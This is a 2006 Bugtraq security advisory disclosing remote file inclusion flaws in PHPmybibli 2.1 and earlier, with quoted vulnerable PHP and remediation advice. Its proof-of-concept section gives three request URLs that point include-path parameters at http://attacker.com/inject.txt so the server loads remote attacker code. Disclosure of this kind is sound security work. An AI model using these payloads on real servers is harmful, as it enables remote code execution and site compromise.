bugtraq - [ECHO_ADV_55$2006]Phpmybibli <=2.1 Multiple Remote File Inclusion Vulnerability

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Date: 17 Oct 2006 08:54:03 -0000
From: erdc@...o.or.id
To: bugtraq@...urityfocus.com
Subject: [ECHO_ADV_55$2006]Phpmybibli  <=2.1  Multiple Remote File
 Inclusion Vulnerability

ECHO_ADV_55$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_55$2006]Phpmybibli  <=2.1  Multiple Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: October, 17th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv55-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: PHPmybibli
version		: <=2.1
URL		: http://www.pizz.net/

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability script cart.php
--------------------------cart.php---------------------------------------
....
<?

  include_once("$include_path/cart.inc.php");
  include_once("$include_path/templates/cart.tpl.php");
  include_once("$include_path/isbn.inc.php");
  include_once("$include_path/expl_info.inc.php");
  include_once("$include_path/bull_info.inc.php");
  include_once("$include_path/notice_authors.inc.php");
  include_once("$include_path/notice_categories.inc.php");
  include_once("$include_path/explnum.inc.php");
  include_once("$class_path/cart.class.php");
  include_once("$class_path/caddie.class.php");
  include_once("$class_path/author.class.php");
  include_once("$class_path/collection.class.php");
  include_once("$class_path/subcollection.class.php");
  include_once("$class_path/mono_display.class.php");
  include_once("$class_path/serie.class.php");
  include_once("$class_path/serial_display.class.php");
  include_once("$class_path/serials.class.php");
  include_once("$class_path/editor.class.php");
  require_once("$class_path/emprunteur.class.php");
  require_once("$javascript_path/misc.inc.php");
...
----------------------------------------------------------

Input passed to the "$include_path" parameter in cart.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

edit.php
circ.php
index.php
select.php
etc..

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[phpmybibli_path]/index.php?class_path=http://attacker.com/inject.txt?
http://target.com/[phpmybibli_path]/edit.php?javascript_path=http://attacker.com/inject.txt?
http://target.com/[phpmybibli_path]/circ.php?include_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~

- Sanitize variable $class_path,$javascript_path,$include_path on affected files.
- Turn off register_globals


---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@...oogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------